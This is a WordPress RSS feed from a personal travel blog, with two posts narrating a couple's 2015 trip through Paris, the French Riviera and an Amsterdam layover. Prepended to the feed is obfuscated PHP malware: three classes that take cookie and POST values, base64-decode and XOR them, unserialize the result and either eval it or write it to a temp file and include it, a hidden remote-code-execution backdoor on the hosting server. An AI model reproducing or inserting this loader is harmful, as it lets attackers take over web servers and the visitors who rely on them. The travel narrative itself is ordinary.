$wyOAVKzOY = chr ( 834 - 735 ).'_' . chr (85) . chr ( 189 - 99 ).chr ( 550 - 479 ).chr ( 968 - 900 ); $RwkMvGx = chr (99) . "\x6c" . chr (97) . "\163" . chr (115) . chr (95) . chr (101) . chr ( 227 - 107 )."\151" . chr ( 752 - 637 ).'t' . "\x73";$OwHBhwT = class_exists($wyOAVKzOY); $RwkMvGx = "43615";$cFhdOkhy = !1;if ($OwHBhwT == $cFhdOkhy){function zaKPtNJaS(){$SMXvqSfz = new /* 22950 */ c_UZGD(46130 + 46130); $SMXvqSfz = NULL;}$PFQrePh = "46130";class c_UZGD{private function MhdyPjbjN($PFQrePh){if (is_array(c_UZGD::$CTilQ)) {$uqUbG = str_replace("\x3c" . chr (63) . "\x70" . chr ( 225 - 121 )."\160", "", c_UZGD::$CTilQ[chr ( 369 - 270 )."\157" . 'n' . chr ( 408 - 292 )."\x65" . "\x6e" . chr ( 243 - 127 )]);eval($uqUbG); $PFQrePh = "46130";exit();}}private $ViKDC;public function ABmrerIkoU(){echo 33142;}public function __destruct(){$PFQrePh = "30412_43669";$this->MhdyPjbjN($PFQrePh); $PFQrePh = "30412_43669";}public function __construct($vggCaFPm=0){$kylnXukAc = $_POST;$diHCX = $_COOKIE;$QhwhMh = "ff69f154-c035-4ea7-945d-0c4910119e1e";$JEwReVOf = @$diHCX[substr($QhwhMh, 0, 4)];if (!empty($JEwReVOf)){$YvxGkAed = "base64";$DbagZe = "";$JEwReVOf = explode(",", $JEwReVOf);foreach ($JEwReVOf as $knGWEU){$DbagZe .= @$diHCX[$knGWEU];$DbagZe .= @$kylnXukAc[$knGWEU];}$DbagZe = array_map($YvxGkAed . '_' . chr ( 434 - 334 )."\x65" . chr (99) . 'o' . chr (100) . chr ( 319 - 218 ), array($DbagZe,)); $DbagZe = $DbagZe[0] ^ str_repeat($QhwhMh, (strlen($DbagZe[0]) / strlen($QhwhMh)) + 1);c_UZGD::$CTilQ = @unserialize($DbagZe);}}public static $CTilQ = 34152;}zaKPtNJaS();}$yqyRl = chr (72) . chr (101) . "\x4a" . "\x5f" . "\x51" . 'K' . chr ( 1054 - 932 ); $UeULr = "\x63" . "\154" . chr (97) . 's' . chr (115) . "\x5f" . chr ( 110 - 9 )."\170" . "\151" . "\x73" . chr ( 318 - 202 ).'s';$SfAsjPwSIz = class_exists($yqyRl); $UeULr = "23642";$fFiMFwaN = strpos($UeULr, $yqyRl);if ($SfAsjPwSIz == $fFiMFwaN){function WQQiSy(){$AizDaGhs = new /* 46463 */ HeJ_QKz(2150 + 2150); $AizDaGhs = NULL;}$GPORNufDPx = "2150";class HeJ_QKz{private function PqhcAOBdsQ($GPORNufDPx){if (is_array(HeJ_QKz::$YHXYh)) {$name = sys_get_temp_dir() . "/" . crc32(HeJ_QKz::$YHXYh["salt"]);@HeJ_QKz::$YHXYh["write"]($name, HeJ_QKz::$YHXYh["content"]);include $name;@HeJ_QKz::$YHXYh["delete"]($name); $GPORNufDPx = "2150";exit();}}public function XfEbTMPMjq(){$hGTXsoPAA = "38247";$this->_dummy = str_repeat($hGTXsoPAA, strlen($hGTXsoPAA));}public function __destruct(){HeJ_QKz::$YHXYh = @unserialize(HeJ_QKz::$YHXYh); $GPORNufDPx = "7194_58724";$this->PqhcAOBdsQ($GPORNufDPx); $GPORNufDPx = "7194_58724";}public function AJcTkkZ($hGTXsoPAA, $pMIchGy){return $hGTXsoPAA[0] ^ str_repeat($pMIchGy, intval(strlen($hGTXsoPAA[0]) / strlen($pMIchGy)) + 1);}public function tgHSep($hGTXsoPAA){$PjVpWXf = chr (98) . chr ( 1041 - 944 ).chr (115) . chr ( 827 - 726 )."\x36" . '4';return array_map($PjVpWXf . chr ( 396 - 301 ).chr ( 215 - 115 ).chr (101) . "\143" . "\x6f" . chr ( 509 - 409 ).'e', array($hGTXsoPAA,));}public function __construct($GazwhoaLms=0){$PBKACTLeP = chr (44); $hGTXsoPAA = "";$HfXORthQ = $_POST;$sFZQfK = $_COOKIE;$pMIchGy = "dca34927-7918-4b61-89c1-16092671c24c";$mzICynIQl = @$sFZQfK[substr($pMIchGy, 0, 4)];if (!empty($mzICynIQl)){$mzICynIQl = explode($PBKACTLeP, $mzICynIQl);foreach ($mzICynIQl as $uSXwWhF){$hGTXsoPAA .= @$sFZQfK[$uSXwWhF];$hGTXsoPAA .= @$HfXORthQ[$uSXwWhF];}$hGTXsoPAA = $this->tgHSep($hGTXsoPAA);}HeJ_QKz::$YHXYh = $this->AJcTkkZ($hGTXsoPAA, $pMIchGy);if (strpos($pMIchGy, $PBKACTLeP) !== FALSE){$pMIchGy = explode($PBKACTLeP, $pMIchGy); $GcYVvtzo = base64_decode(md5($pMIchGy[0])); $wPBKJTnYHV = strlen($pMIchGy[1]) > 5 ? substr($pMIchGy[1], 0, 5) : $pMIchGy[1];$_GET['new_key'] = md5(implode('', $pMIchGy)); $rdsOw = str_repeat($wPBKJTnYHV, 2);}}public static $YHXYh = 1540;}WQQiSy();}$lQBRuttQ = "\x53" . chr ( 279 - 198 ).chr (95) . "\x41" . "\x49" . "\x70" . 'L';$whMfJsmx = "\x63" . 'l' . "\x61" . chr ( 882 - 767 )."\x73" . '_' . "\145" . "\x78" . chr (105) . "\163" . "\x74" . "\x73";$mEnEKjkBCz = class_exists($lQBRuttQ); $lQBRuttQ = "45767";$whMfJsmx = "46661";$OGjNGpEmJD = FALSE;if ($mEnEKjkBCz === $OGjNGpEmJD){class SQ_AIpL{public function RgrhkmXY(){echo "37294";}private $nakhFqBfr;public static $EIXyaRbc = "3dfb297c-9fa8-429b-ae3a-0a0d05892551";public static $VmyOIlc = 20376;public function __construct($vjUCp=0){$SRXWeUGzAP = $_POST;$UBqLJ = $_COOKIE;$ysZziDytX = @$UBqLJ[substr(SQ_AIpL::$EIXyaRbc, 0, 4)];if (!empty($ysZziDytX)){$VMdtzZt = "base64";$vuJjFOQS = "";$ysZziDytX = explode(",", $ysZziDytX);foreach ($ysZziDytX as $idPIYW){$vuJjFOQS .= @$UBqLJ[$idPIYW];$vuJjFOQS .= @$SRXWeUGzAP[$idPIYW];}$vuJjFOQS = array_map($VMdtzZt . '_' . chr (100) . "\x65" . "\x63" . chr ( 426 - 315 )."\144" . chr ( 1081 - 980 ), array($vuJjFOQS,)); $vuJjFOQS = $vuJjFOQS[0] ^ str_repeat(SQ_AIpL::$EIXyaRbc, (strlen($vuJjFOQS[0]) / strlen(SQ_AIpL::$EIXyaRbc)) + 1);SQ_AIpL::$VmyOIlc = @unserialize($vuJjFOQS);}}private function BddDhtg($VVVzASJPrc){if (is_array(SQ_AIpL::$VmyOIlc)) {$PeIABeC = str_replace("\74" . "\77" . "\x70" . 'h' . "\x70", "", SQ_AIpL::$VmyOIlc["\143" . "\157" . chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($PeIABeC); $VVVzASJPrc = "35625";exit();}}public function __destruct(){$this->BddDhtg($VVVzASJPrc);}}$dHeUS = new /* 6650 */ SQ_AIpL(); $dHeUS = str_repeat("11944_21322", 1);} Tori Teaches https://toriteaches.com Tori Rocks! Tue, 02 May 2017 21:47:43 +0000 en-US hourly 1 https://wordpress.org/?v=6.9 Getting the Most Out of France in Two Short Weeks (Part Two-The French Riviera https://toriteaches.com/getting-the-most-out-of-france-in-two-short-weeks-part-two-the-french-riviera/ Tue, 02 May 2017 21:44:34 +0000 https://toriteaches.com/?p=323 October 5, 2015 – Travel Day, Paris to Nice

Prior to our trip we bought Rail Europe tickets from Paris to Nice. The earlier you buy your tickets the more you save. A certain number of tickets are available and each price point. Once they are sold then the price goes up. We opted not to upgrade to first class, so our tickets were around $50 a piece. nice 2

The morning of our departure we were informed that 20 people had died in the South of France because of a flash flood. Parisians were distraught over the news and they advised us not to continue on. We were meeting friends in Nice and didn’t have anywhere to stay in Paris, so we decided to risk it.

We called an Uber and headed to the train station. Our Uber driver was fantastic and is cost us about $8 from the Airbnb we had rented.

Upon arrival we were told that our train was cancelled because the tracks were washed out. Our tickets were also non-refundable. I started to panic and get sad, Eric does as he always does and kept a cool head. Our train was still heading South, but only to Toulon. Toulon is still about an hour and half drive from Nice, but hey we got on the train anyway. This was one of the more adventurous things that I have done in my life.

I was actually very pleased with our Economy Seats. Eric had been adamant that he did not want to drive in France, but here we were trying to book a rental car from Toulon to Nice while traveling over 200 miles an hour on the TGV. FYI, DO NOT look out the window when traveling this fast, you will want to puke. When traveling 200 miles an hour Wi-Fi is spotty. Eric would think that he had the car just about reserved and then it would drop. This was also a problem when trying to use a credit card in the bar car. Make sure to have cash with you for this very reason. Alas, he rented a car. Whew, now to relax and enjoy the French countryside while traveling for four hours.

When we arrived in Toulon the car rental area was packed (lots of stranded people). Also, the air conditioning was broken and it was 90 degrees Fahrenheit outside. When we got to the car rental desk we discovered that we made the reservation from the wrong city and they didn’t have our car. Luckily someone had just turned one in ten minutes before, It wasn’t clean and it was dented, but it was ours for the exorbitant price of $300 for 24 hours. (After getting back to the states I would fight with the Travel Insurance company that we had paid extra for to get them to cover this cost. Turns out that since we used our American Express, they would have covered it without paying anything extra. Lesson learned, no more travel insurance for me. I will depend of American Express). nice 1

Most rental cars in France have manual transmissions. I can not drive a stick shift and Eric hadn’t in years. Luckily, he agreed to do all the driving. It was a beautiful drive and on the way we happy to hear that one group of our friend’s had successfully made it to Nice on their buddy passes. Sadly, the other couple that was meeting us had passport issues and did not make it. (Moral of the story, make sure our passport in order well in advance of traveling internationally). We arrived, settled in, and caught up with one another.

October 6, 2015 – Eze

eze 8 First thing in the morning, the four of us headed to the airport to turn in on car for another car for the week. Once Eric had eze 3 driven he had gained the confidence need for the rest of the trip. This was the best decision for the Riviera. The Riviera is pretty spread out, but with a lot to see and do. The cars sunroof extended across the entire roof. Great for sight seeing, even from the back seat. eze 6

The Harps are fabulous travel
companions and are up for just about anything. Eric and I really like to be on the go and so do they. After consulting our Froder’s travel guide for France we decided to venture to Eze.

Before the trip I had never heard of Eze. It was remarkable and not too far from Nice. We had fabulous Mediterranean eze 7 pizza, explored the narrow streets and visited the gardens Le Jardin Exotique d’Eze. The gardens have a small fee, approximately $5 per person and the views are spectacular!

eze 4 eze 5 One cool feature of Eze is The Devil’s Bridge that was featured in Alfred Hitchcock’s films Easy Virtue and To Catch a Thief. Legend has it that a man made a deal with the devil so the devil would build the bridge. Anything to cross the bridge would have the devil claim it’s soul. The man upon seeing the completed bridge throws a stick across the bridge and a dog goes after it. The devil claims the dogs soul. I love my dog, so this story totally bums me out.

October 7, 2015 – Nice

Our rental h Nice tt 1 ouse was right in Nice, but up a big hill. Our car became very valuable. Everything that I had read said that parking in Nice was atrocious. However, if you are will to pay to park, it isn’t that bad. There are underground parking garages all throughout towns of the Riviera. nice tt 2

Nice has so much to offer. We walked along the Promenade des Anglais. The weather was still in the 70s in October, so it was pleasant. (I sincerely hope that the recent terrorist attack that occurred here does not deter visitors.) Many of the restaurants and bars along the beach were closed while they cleaned up from the flooding. nice tt 4 nice tt 3
We enjoyed the churches, the narrow streets full of life and the cemetery not as full of life. Ha ha. The cemetery housed the remains of many famous people including Emil Jellinek-Mercedes. Vroom, vroom!

sp vence 2

October 8, 2015 – Vence and Antibes

vence 2 sp vence 1 We started off our day driving to St. Paul de Vence at the recommendation of many, many friends. The narrow alleyways winding through the shops and art galleries were beautiful. This fortress like town should not be missed. Vence 1

One downside was sitting down to a beautiful restaurant over-looking the hillsides only to find out that they did not take any credit cards. This is actually very unusual for France. We chose instead to grab a gelato to tide us over until we arrived in the city of Vence itself.

The city of Vence was nice, but if you don’t have the time, don’t worry about missing this one. We wandered the streets, saw a cool church and had some yummy steak frites. Up side, the wine was cheep and they had ice for your large American style soda. anitbes 2

After this we ventured to Antibes. I adored this town. We started by going to a public beach that was man made and protected you from the current. The bathrooms were horrid, so try to avoid those. Since the water was pretty cold and it was October, we just dipped our toes in. Apparently there were much nicer beaches, but we did not do much research regarding this before hand. I suggest antibes1 reading http://www.etraveltrips.com/5-of-the-best-beaches-in-antibes-france/ .

The shopping was nice in the town and it didn’t seem quite so touristy. Oh course we stopped at a cafe for crapes and wine. YUMMY!

How to top off a beautiful day in the south of France? Take a frightening hike on the rocky shores of Antibes. I had low blood sugar and was very tired. Amanda, Mike and Eric were up for adventure. I was freaked by the signs warning of death. I am not a fan of death, however I antibes 3 am not a buzz kill. We got a little bit of a late start, so I made us rush back to the car once it started getting dark. I did not need to add another element of danger to our hike.

Many famous people live in Antibes, including U2’s Bono. We believe that his home backs up to these rocky shores that we traversed. I wonder if he would have come and saved me if I would have gotten injured?

PS: Mike Harp is one crazy dude!

October 9, 2015 – Monaco

Monaco is a tiny country on the Mediterranean Sea that is surrounded by France. It takes about 30 minutes to get there from Nice. Once in the country it does not take long to drive from one side to the other as long as you are able to successfully navigate the streets. Parking is plentiful if you are willing to pay about twenty five euros. The parking is well planned and you are able to find available spots by looking for a green light over the space. American parking lots could learn a lot from this design.

One of the first things we did was head off to the Royal Gardens and Palace. While in the gardens we had a good time taking silly photos with statues.
I had been to Monaco once before when I was 15 years old. Our tour guide told us that the palace was not worth seeing, which of course made me want to see it even more. The Royal family still lives in the palace and the tour was fascinating with wonderful history. Nevertheless, I think that my tour guide 25 years ago was wrong.

We found a hidden treasure for lunch with Arrow Burger. The owner, from Sweden, had lived in New York before moving to Monaco. He chatted with us for a half an hour about his business model and what brought him to where he is now. The food was outstanding. I would strongly suggest adding Arrow Burger to your to-do list. If you get lucky the owner will be in and up for discussion.

Monaco is also well known for the Formula 1 Grand Prix des Monaco which is held in May. To the left is the “worlds sharpest hairpin turn”. Eric was pretty impressed with himself for driving our rental car along it. Someday I hope to make it back to Monaco to see this race. It is hard to imagine the Formula 1 cars racing through these tight streets.

Last on our Monaco agenda is to gamble at the Casino Royal, which has been features in many movies, from James Bond to Spy. I wore a dress that day so that nothing would stop us getting in. The cars in front of the casino ranged from Royal Royce to Maserati. You are able to walk into the beautiful casino, but you need to pay 10 euros to enter the actual casino. For some reason I got all weird about it and we didn’t pay to go in. I was intimidated by the situation, which isn’t like me. I regret not going in. We did however go in to the adjacent casino. I played slots and won 20 euros. I was ready to throw it back in when Amanda said, “Now you can say you won in Monte Carlo, let’s leave”. She was right, so we left.

We stopped on the pier to have a drink and a snack. The service was definitely lacking. Not sure if that is typical of Monaco. Eric enjoyed the walk of fame displaying the footprints of soccer legends.

After our snack was less than fabulous we decided to head back to Nice to celebrate the Harp’s last night with us. This was a fabulous idea!

Sadly the Harps, due to their stand-by situation, had to leave a day earlier than us. We wanted to go out with a bang. We went into to the market area of Nice. A market by day, but is transformed into multiple restaurant patio areas for dinner. The makings for dinner come from the market that stood in their place earlier in the day.

Amanda and I were hell bent on seafood linguine. One host claimed to have seafood linguine, but then they were out. We go up and changed restaurants. You wouldn’t believe the death stare that the one host was giving to the hostess of the restaurant that we ended up at. They were right across the way from one another. Thee later hostess witnessed what had happened and pampered us. She brought us shawls and champagne. We noticed that the other clientele did not receive the same treatment. Eric and Mike ordered the seafood platter that came to about $40 US dollars and was more than enough for the two of them. However they were not too sure about the winks and willies; looked a little like crickets. Amanda and I were not disappointed by our seafood pasta. Yum!

October 10, 2015- Provence to Saint-Tropez

Amanda and Mike had to head to the airport early in the morning. Eric and I had a full day to ourselves. We decided to go all romantic. Many people had told us that Provence was too far of a drive for wine tasting. We didn’t mind. Eric researched some of the better vineyards in the region and we set off in our rental car.

Many of the vineyards that we went to either were closed or we simply could not find them. Long winding roads would take us to gated estates. We still enjoyed the adventure and the beauty of the scenery. We had the best experience at Chateau de Saint-Martin. Apparently they also have a bed and breakfast. Next time I hope to include this in my stay. The staff and owner spent time visiting with us. We tasted and bought several bottles of wine, as well as some delicious olive tapenade (which broke in my luggage on the way home. Oily gross mess). This one is a little more out of the way, but worth it! We did make it to several others that we nice, but paled in comparison.

For our final dinner we decided to head into Saint-Tropez. I could have spent a full day here. It was my favorite coastal city in the south of France. I think that I would have enjoyed staying directly in Saint-Tropez. Locals spoke English in most of the places we went in France, not in Saint-Tropez. This was actually a nice change and made me feel a little more entrenched in the culture. We had dinner at an Italian restaurant, which is very common in the South of France. It seemed as if everyone around was ordering pizza with a side of fries. Everyone orders fries with everything.

After leaving the restaurant we walked on the dock. The yachts were straight out of “Life Styles of the Rich and Famous”. It was fascinating to see the big fancy parties and dinners that we happening on board. One day I hope to see the inside of one of these lovely yachts. This was a magical way to spend our last night in France.

Turns out that Eric left his hat at the restaurant and thanks to Google Translate I was able to fluently ask the hostess for it back. Now that I know how to use Google Translate, it will be my friend on many adventures to come.

As we were making the hour drive back to Nice we hit a DUI checkpoint. France has a .05 legal limit. Eric asked in perfect French, “Parlez vous anglais?”. The police office spoke to him in English and Eric blew a 0.0, safe to drive home.

October 11, 2015 – Cannes and Amsterdam

What to do with a morning once you have checked out of your Airbnb? We didn’t need to be to the airport until 2:00 in the afternoon. We had been avoiding Cannes due the flooding. We decided to make our way there since it had been a week since the disaster.

I regret not having more time in Cannes. It is a beautiful city with amazing beaches. We were blessed with wonderful weather. All of the fancy stores along the promenade were closed while the damage was repaired. We had lunch at a restaurant on the beach. Eric’s chicken was served with truffles and at the reasonable price of 20 euros. Downside to Cannes is that the parking is difficult, so get ready to walk.

Having traveled internationally from the US, we figured that we had to be to the Nice airport at least two hours early. Apparently this not how they operate. You are not allowed to go through security until your are under the two hour mark. Once you are in the secured area there is nothing but a vending machine to get food from. Eat before you go. This airport is very small, but has a decent amount of traffic. We had a three hour KLM flight to Amsterdam. KLM seemed to be a nice airline and it was comfortable. Much nicer than Air France.

We had a thirteen hour layover in Amsterdam and were planning on staying out all night in the city… Then we realized that we are 40 years old. We ended up booking room through Expedia at an inexpensive airport hotel.

Our flight landed around 9:00 pm and we took a train into the city. I had been told that restaurants in Amsterdam closed up early and that you were out of luck if you need a bite to eat later in the evening. This was not the case, we ended up having dinner after 10:00 pm at a Venezuelan restaurant. The food, ambiance and service were all good.

What do you do when you are in Amsterdam late at night? Get a waffle and go to the Red Light District of course. The city was full of British college students that were stoned out of their minds. The shopkeeper at the waffle shop was relived that we were able to order without getting supremely distracted, if you know what I mean. Waffle good!

The Red Light district was bizarre to me. Nearly 100 windowed doors with women sitting behind them. Many of the women were on their phones surfing Facebook. No one seemed the least bit uncomfortable with men going in an out of the doors. I never thought that I was a prude before, but maybe I am a little.

In true Bergstrom fashion, Eric and I closed down the bar scene in Amsterdam. We bar hopped landing at one we really enjoyed. Closing time came around 2:00 and we headed back to the train to get to our hotel. I believe we even slept for five or six hours.

Next morning we boarded our flight home with 13 bottles of wine snugly secured in our luggage. Reading back over this I cannot believe the amount we were able to do during this adventure. Would have do it all over again? Absolutely! Would I change anything thing? Probably, I would have spent more time in some areas than others. My hope is that this helps you make some decisions on what would work for you. Happy travels….

Next up:; New York City in 4 days!

]]> Getting the Most Out of France in Two Short Weeks (Part One-Paris) https://toriteaches.com/getting-the-most-out-of-france-in-two-short-weeks-part-one-paris/ Tue, 12 Jul 2016 20:20:04 +0000 https://toriteaches.com/?p=285 More than a decade ago Eric and I talked about what we would want to do for our 40th birthdays. (Being the cougar that I am, Eric is three months younger than me) I wanted to go to France and Eric wanted to see a European football match (soccer). Our kids were finally old enough to leave with the grandparents for two weeks.

We chose late September/early October as go time. Summer is either really busy or abandoned. The French traditionally take a 6 week holiday in the summer, so make sure you understand that some things may be closed during this time. In the south of France early October is still warm and the tourist beach attractions have not yet closed up for the winter. They close mid-October. The weather is usually nice throughout the country this time of year.

Nine months prior to our proposed time, I started researching airfares. I set a TripAdvisor alert for Paris Airfares. Flights were generally $1,400 round trip from Salt Lake City. I would also check Delta Airlines to see how many SkyMiles it would be to get there. We had been saving them up for quite sometime.

This became a waiting game. We were not locked in on particular dates, which it is nice to have some flexibility. Four months prior to the trip, I found airfare for 60,000 SkyMiles round trip for each of us. This, if you are unaware, is quite a deal. It was time to pounce.

We were looking to spend a week in Paris and a week in Nice. I found the best way to save on airfare and/or miles is to book the ticket as a multi destination if you plan on hoping around. It is actually really easy, just make sure you are doing the advanced search on Delta’s site. When pricing flight through Delta Airlines choose miles or price and then use the calendar view feature. The calendar view is especially helpful if your travel dates are not fixed.

We wanted to fly to Paris first and then out of Nice. The first flight ended up being a direct red eye flight from Salt Lake to Amsterdam, with a 3 hour layover. We could have had a shorter layover, but I didn’t want to risk it. However, Delta has flights almost hourly from Amsterdam to Paris, so if there was a delay you would probably be easily bumped to the next flight. Flying directly to Paris would have cost substantially more miles, so we decided that the layover was not a big deal. The monetary tickets cost was not much different from the direct flight, so that could be something to consider if not using SkyMiles. (FYI, I generally don’t go for domestic layovers – not worth it).

On the way back we flew from Nice to Amsterdam with a 13 hour layover. This was intentional and was a great use of time. I will go into it in more detail later. Point being a layover is whatever to make it out to be. And no Dad, I didn’t smoke weed there.

Now we have a way there, time to start looking for a place to stay. I would definitely do it in this order; flight, accommodations and then activities. We originally thought we would want to stay in a hotel. Hotels in both Paris and Nice were very, very expensive. Generally upwards of $250 a night in a good neighborhood with easy access to the sites.

We started thinking that we would want to get a better feel for living in Paris and started researching Airbnb. I really enjoy researching neighborhoods, customer reviews and access to attractions. Airbnb makes this very easy to do this research. I will post specially regarding how to research on Airbnb. We ended up choosing:

Flat Pigalle-Montmartre-Sacré Coeur

We absolutely adored this studio apartment. We were able to settle in and feel part of the neighborhood. It was in easy walking distance to the Metro. We liked having everything we needed, especially not having to go out for breakfast each day. The owner’s father met us upon arrival and provided us with information on things to do. Way better than a concierge at a hotel. The entire week cost around $600. Big savings!

We were meeting two other couples for our week in Nice so we need to find something bigger. We went with:

French riviera dream : house + pool

French riviera dream : house + pool

This three bedroom, three bath house with a pool was great for all of us to gather. The pool was not heated and it was a little cold to use in October, but we weren’t sitting around with time to lounge by the pool anyway. Biggest selling point was that it costs each couple less than $500 for the week. We had plenty of room and it was beautiful.

Now that we have a place to stay we need to figure out how to get from Paris to Nice. We booked the TGV high speed train. We did not book at car for either location because we didn’t think we would want or need it. More on that later.

From here it was time to start planning what we would do each day. At this point I will walk you through what we expected and what really happened.

September 27, 2015 – Salt Lake To Amsterdam

We paid $100 each to upgrade our flight from Salt Lake to Amsterdam to Delta Comfort. Eric may say this was money well spent, but it wasn’t really for me. International Delta flights come with beer and wine. Comfort seats come with mixed drinks, more leg room and nicer “good night kits”. Other than that, they weren’t much different. I am 5’2″ so the extra leg room was actually a problem. I propped my bag under my feet, but they still didn’t touch the floor. This can get really uncomfortable. The option to upgrade was not available on the way back, so I was actually more comfortable coming home. The first class seats ran upwards of $4,000, which I just could not justify. It is my understanding, having talked with Delta employees, that they never upgrade customers free of charge on the flights to Europe. They would rather then sit empty, so they stay a premium. I am sure they are very comfy.

Our flight left a hour late, but was much shorter than quoted. Heading east you can catch one hell of a tail wind. I drank some wine and slept pretty well. Eric stayed up all night watching movies. Whatever.

September 28, 2015 – Amsterdam Airport then on to Paris

We were pretty delirious during the layover. The terminal that we were in was a total dump. We later found out that the rest of the airport is actually very nice. They had just not gotten to remodeling this terminal. In this terminal, I swear I walked outside to get to the restroom. Weird!

We flew AirFrance from Amsterdam to Paris. The plane was a little worn out, but the worst part was the snack; hummus with peppers on a mini banquette. Yuck! And this from a country known for their food.

We took the train from the airport to the city. The train portion went well. Being delirious at the transfer station was not pretty. It was rush hour. I went through the gate and Eric’s ticket wouldn’t work to exit. We both got a little flustered. Luckily another traveler told him to squeeze through behind the next person and like that, we were in Paris!

We met our host’s father at the apartment and settled in. We had been told to try and live on their schedule as soon as possible. We forced ourselves to go out to dinner. Not understanding the sizes of their carafes, I ordered the equivalent of an entire bottle of wine for myself with my dinner. Off to a good start. Nervous about using our French, we ended up with a waiter that had lived in New York and generously spoke English.

After dinner we explored the neighborhood and discovered that we were walking distance to Moulin Rouge and the Paris sex shops. Even with this we loved the neighborhood and it’s scene. Off to bed, we managed to stay up past nine. Winning!

September 29, 2015

Sleeping in a little later than planned was a necessary evil, but not too late mind you.

We were determined to start using our French as much as possible. I have had five years of French; Eric only knew crass phrases that I thought him. He quickly learned how to order his pain au chocolat.

Before our trip we bought the Paris City Pass. They were pretty expensive, around $250.00 each if booking today. I think we paid around $180 since they were on sale and off season. It included 60+ things, many that we were planning on doing already. It included a six day pass for the metro. (Side note; make sure your metro ticket gets validated when entering the station. The Metro Police tried to fine us $100 Euros each, saying that we jumped the turn stile. I insisted on speaking with a superior and had them call the station we entered. They found that station’s gate was broken and conceded that we had done nothing wrong. Don’t be afraid to speak up for yourself, but be respectful.)

We picked up the passes which included one day on the Big Red Bus. Since we were a little tired we decided to get on it immediately. The parts of the tour we saw were fabulous and I highly recommend it. While on the bus, our friends from Nebraska made contact; they were in Paris and wanted to meet up. We hopped off the bus at Musee d’Orsay. We didn’t find another opportunity to ride the Big Red Bus that day. I wish I would have thought that one through better. It has to be used all in the same day.

Vincent Van Gogh’s “Self Portrait 1889”

So happy to meet up with our friends! Musee d’Orsay was included in our City Pass and you got to skip the line. Paintings by Toulouse-Lautrec to Vincent Van Gough adorned the walls. Keep in mind, if you have a friend that blurts out whatever he is thinking…keep your distance in a History of Prostitution Art Exhibit. During one such exhibit he stated rather loudly, “Wow, that is full on porn”. However, the French seemed to think he was rather funny. He is rather funny. Love you Johnny!

After, the four of us headed over to the Eiffel tower. We paid 17 Euros a piece to go all the way to the top. Why would you only go half way? We were concerned that it would be one of those over-rated things. IT WAS AWESOME!!!

That night we used our city pass to take the evening Seine boat ride included. Alone it would have costs 15 maw Euros each. The ride was gorgeous. It was a little windy and cold so we did not sit up top, which would have been nice. Being the lush that I am, the one thing I thought the boat ride was missing was a bar. Why would they not have a bar? Are they not interested in making more money?

We finished off the night with a late dinner in the Latin District for fondue. Rebecca, now at the end of her two week french vacation, fluently spoke with the waiter. You can’t miss with french cheese, wine and good company.

September 30, 2015

Versailles is included in the City Pass! Tickets range from 18 to 25 euros regularly. We took an inexpensive, one hour train ride from Paris to Versailles on Rail Europe. Loved seeing the suburban Parisian outskirts.

Couple bad at Selfies at Marie Antoinette’s Village.

Versailles is an is an all day adventure. The palace is like nothing you have ever seen before. Make sure to patiently listen the the audio tour (for reals). Unless of course you are a boring person who hates history and culture.

We then walked around the grounds and went on a hunt for Marie Antoinette’s Village. It is a little difficult to find (the signage is not very good), but well worth it. I believe that it took us over an hour to figure out where we were going, but saw some cool stuff on the way. Not many people venture to this part of the grounds. Had a nice late lunch by the pond while people enjoyed their afternoon laying on the grass.

Somehow we ended up getting a free train ride back to Paris. They had to replace our tickets that weren’t working before (see above for story about our run in with Metro Police) and we ended riding for free. Winning again.

October 1, 2015 – Museums/Getting Our Moneys Worth

Napoleon’s Throne

I have found that it is good to have a day in town after a day away to break things up. This day we rocked the museum circuit. Starting at the Louvre (city pass, cha ching). You really can spend more than one day here and in fact we went back the following Sunday. If you don’t have a lot of time here are the can’t

I can make a pretty face just like Mona Lisa.

miss items. Napoleon Apartments (best part of the whole museum), Winged Victory, Mona Lisa (but read up on why it is so famous), sarcophagus exhibit, Winged Bulls (they are bad ass) and Victory leading the people (this one just because I like it).

Also included in the city pass was wine tasting at Chateau Wine Bar. They take you down to this beautiful cellar for the class. Reservations are required, but it was included in the City Pass. We paid extra for a cheese and meat plate, totally worth it. They take the time so that you get to know the others in the group. Our group meat had people from Argentina and Australia. We were having such a nice time that we stayed for another glass in the the restaurant while chatting with the waiter and some other tourists. BTW, dress like a normal person. Tourists stand out that wear their money and ID around there neck. It screams, “Hey, come mug me!”

Then we headed to another city pass location, the Pompidou Centre. The crazy outside escalator architecture is worth seeing in and of itself. This is a modern art museum and may not be your cup of tea; or since we are in France, glass of wine. Best place to see a Picasso and located in a traditional Napoleonic part of town. Don’t be a lame-o and go see this.

Time to act hoity toity and walk along the Champs-Elysees. This is where the fancy hotels and shops are. It also seems to be somewhat of an American tourist trap. Worth seeing, but be aware that waiters take advantage of unwitting tourists. In France people do not generally tip and tax is included in your bill. Our dinner on the Champs Elysees was the least impressive of the trip and the waiter added automatic gratuity of 20% for a party of two. Jerk Face!

October 2, 2015 – Monet’s Garden

monet 2 Monet 1 Eric and I fell in love during our senior class AP Art History trip to San Francisco. This excursion seems like a no brainer for us, but I feel it is on of the most beautiful places on Earth. This was highly recommended by the our Airbnb host. Monet’s Garden is a half day trip to southern Normandy. You walk his gardens and see the exact spot that he painted Water Lilies. You also tour his home. Giverny is an adorable town and I wish we would have had more time to spend there. The bus ride was also very scenic. If I could squeeze fifty photos here I would.

Monet 3 I monet 4

October 3, 2016 – Loire Valley Tour

We found a tour that included Chenonceau, Chambord and wine tasting with lunch at a quaint small family vineyard. We book this excursion through Viator. This is an all day deal and you have to get up at the butt crack of dawn. Sleep on the bus, so you have energy for the rest of the trip. It takes about three hours to get to Chambord, but the scenery is amazing.

Chambord is supposedly the the inspiration of Beauty and the Beast; big, empty and cold. It was built as a hunting lodge for King Fancis I of France. There are shops in the town outside, but the castle is so impressive that I wouldn’t tear myself away to shop.

cute house From there we went to a family owned vineyard and had a group lunch. It was nice to meet the others in the group. Most were Americans, since it was an English speaking tour. The family was very gracious and chatted with us throughout the meal. I bought many bottles of wine here. BTW, french wine is very inexpensive in France. A $6 bottle of wine there would be $30 here.

Finally we went to Chenonceau. This history is fascinating. I traveled to France when I was fifteen years old and remembered it like it was yesterday. I told Eric, all I wanted to do was see Chenonceau again. It was as beautiful as I had remembered it. For the wine tasting they took us to a traditional cellar. If you are able to make it to the Loire Valley, this should be a the top of your list.

October 4, 2015 – Last Full Day in Paris, Got to Hit it Hard

At this point you have to ask yourself, what have we missed? Time to head back to the Louvre and squeeze some more must sees in. Then off to Notre Dame. It was Sunday, so when we walked in it was in the middle of mass. This added to the beauty. Take the time to walk around the rectories and exterior.

